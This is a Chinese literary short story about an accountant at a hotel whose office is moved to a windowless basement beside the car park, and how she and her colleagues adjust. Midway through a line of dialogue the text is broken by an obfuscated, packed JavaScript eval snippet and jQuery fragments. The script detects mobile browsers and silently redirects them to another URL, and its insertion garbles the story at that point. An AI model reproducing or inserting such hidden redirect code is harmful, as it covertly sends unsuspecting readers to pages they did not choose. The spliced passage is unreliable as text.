“真的要搬？”苏晚问李敏。
那天下午，李敏从周卉那里回来，手里拿着一张纸。她说：“下个月搬家，搬到地下室。”
苏晚愣了一下。她来酒店这几年，已经搬了好几次了，九楼同层楼的房间调换，九楼至四楼，现在又从四楼—
“最后一次了。”李敏说，像是知道她在想什么，“老板的决定下来了，在地下室建永久办公区。”
永久办公区。苏晚在心里默念了一遍这个词。永久的意思，是不用再搬了？
“地下室？”宋夏从电脑后面抬起头，“负一层那个停车场？”
李敏点点头：“隔出一块区域做办公室，已经动工了。据说装了空调和新风系统，跟上面一样。”
苏晚想了想那个地方。酒店负一层，那是停车场。
“地下室能有窗户吗？”她问。
李敏看了她一眼。那眼神有点复杂，像是不忍心直接回答。
“会有的。”李敏说。
搬家那天是个周一。
苏晚早上到酒店的时候，电梯口已经堆满了纸箱。她自己的东西昨晚就收拾好了—几本凭证，一个笔筒，一盆养了两年的绿萝，还有抽屉里那些零零碎碎的小物件。她把纸箱抱在怀里，跟着人群往负一层走。
电梯到一楼的时候，下去的人太多了。苏晚干脆走楼梯。楼梯间很窄，灯光昏黄，她的脚步声在墙上撞出回音。越往下走，空气越凉，带着一股水泥和油漆混在一起的味道。
停车场靠东边的区域被隔出来，用砖石砌出了两层结构。办公室在二楼。
走到二楼，她沿着走廊往里走，找到财务室—门上贴着一张A4纸，手写的三个字。推开门，里面已经摆好了桌椅。天花板比上面矮了一大截，她伸手，感觉自己跳起来就能摸到。灯是新的，很亮，一排一排地照下来，把所有角落都照得明晃晃的。
但确实没有窗户。
灯是全天开着的。早上来的时候开着，晚上走的时候还开着。因为一边的办公室没有窗户，不知道外面天亮天黑。苏晚刚开始那几天，常常抬头看墙上的钟。
“这地方待久了头晕。”宋夏说。
那天下午，宋夏从外面回来，一进办公室就揉太阳穴。她在自己座位上坐了一会儿，又站起来，走到走廊里站了站。
苏晚看着她，没说话。
宋夏站了一会儿，又走回来，靠在苏晚桌边。
“你不晕吗？”她问。
苏晚想了想。晕吗？好像有一点。但她没说出来。
宋夏看着她，忽然笑了：“羡慕你，苏晚。”
苏晚愣了一下：“羡慕我什么？”
“每天的上午你基本不在办公室。”新来的同事小叶插嘴说。
苏晚转过头看她。
小叶说：“每天上午你都出去跑银行，一去就是一两个小时。回来的时候都快吃饭了。我们可好，一坐一整天，连太阳都见不着。”
苏晚愣了一下。
她没想过这个。每天上午出去，是她的工作。银行、税务、客户那边，跑来跑去，从没觉得这有什么好羡慕的。回来以后，一堆事等着她，对账、录凭证、做报表，比坐着的还忙。
“可是我会有点忙，”她说，“回来后更忙。一个萝卜一个坑，别人也帮不了我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437387|200981||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的忙啊！”
小叶看了她一眼，没再说什么。
日子就这样过下去。
苏晚每天早上八点半到办公室，放下包再拿上包再出门。办完事再回来，推开门，头顶的灯还是那么亮，办公室还是那个温度，电脑屏幕还亮着，和她走的时候一模一样。
有时候她回来晚了，已经过了饭点。办公室里没人，只有电脑嗡嗡地响。她坐下来，开始忙。不知道过了多久，有人推门进来：“你还没吃？”
她抬头：“一会儿去。”
那人走了。她继续忙。再抬头，已经是两点了。
日子就这样过下去。
苏晚有时候会想起刚来酒店的时候。
那时候财务室在九楼，有窗户能看到网球场。夏天的时候，风吹进来，窗帘轻轻飘动。她站在窗边，能听见网球场上传来的声音。阳光从窗户照进来，在地上切出一块明亮的方块。
那时候她刚来，什么都不懂。但她记得那扇窗，记得那阵风，记得窗帘飘起来的样子。
现在她在负一层。
看不见天光。不知道外面是晴是雨，不知道太阳照到哪里了。她坐在水泥墙边上，头顶是灯，一直亮着的那种灯。从早亮到晚，从周一亮到周日。
但她已经不觉得有什么了。
就像林栖说的，她心态好。
或者说，她已经习惯了。
那天苏晚从银行回来。推开负一层那扇门，走廊里很安静。
她坐下来，开始录凭证。
录着录着，她抬起头，看了一眼文件柜顶上的那盆绿萝。
叶子还是绿的，绿得挺好。